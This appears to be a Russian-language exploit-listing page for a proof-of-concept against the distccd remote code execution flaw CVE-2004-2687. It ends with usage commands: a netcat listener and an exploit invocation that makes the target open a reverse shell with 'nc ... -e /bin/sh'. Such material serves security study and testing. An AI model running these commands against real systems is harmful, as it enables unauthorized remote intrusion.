Exploit for distccd_rce_CVE-2004-2687

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-H3X0V3RL0RD-DISTCCD_RCE_CVE-2004-2687
# distccd_rce_CVE-2004-2687

🖥️ -h3x0v3rl0rd- #️⃣ CVE-2004-2687 #️⃣ Обновлено до Python3

Обзор

Этот репозиторий содержит PoC-эксплойт для уязвимости `distccd`, известной как `CVE-2004-2687`. Уязвимость существует в демоне `distccd`, который является частью распределённой системы компиляции C/C++ distcc. При неправильной конфигурации `distccd` позволяет удалённым злоумышленникам выполнять произвольные команды на сервере без какой-либо аутентификации. Детали уязвимости

distcc предназначен для распределения задач компиляции между несколькими машинами с целью ускорения процесса сборки. Однако, если демон distccd не защищён должным образом, он раскрывает уязвимость удалённого выполнения кода (RCE). Это происходит потому, что демон прослушивает сетевой порт и принимает команды от любого клиента, позволяя им выполнять shell-команды на сервере от имени пользователя, запускающего демон.

Уязвимости присвоен идентификатор `CVE-2004-2687`, и она затрагивает версии `distccd` до 3.1. При эксплуатации злоумышленник может получить shell-доступ к уязвимой машине, что может привести к компрометации всей системы.

root@kitploit:~
    
    
    nc -lvp 4444
    python3 distccd_rce.py -t [rhost] -p 3632 -c "nc [localhost] [lport] -e /bin/sh"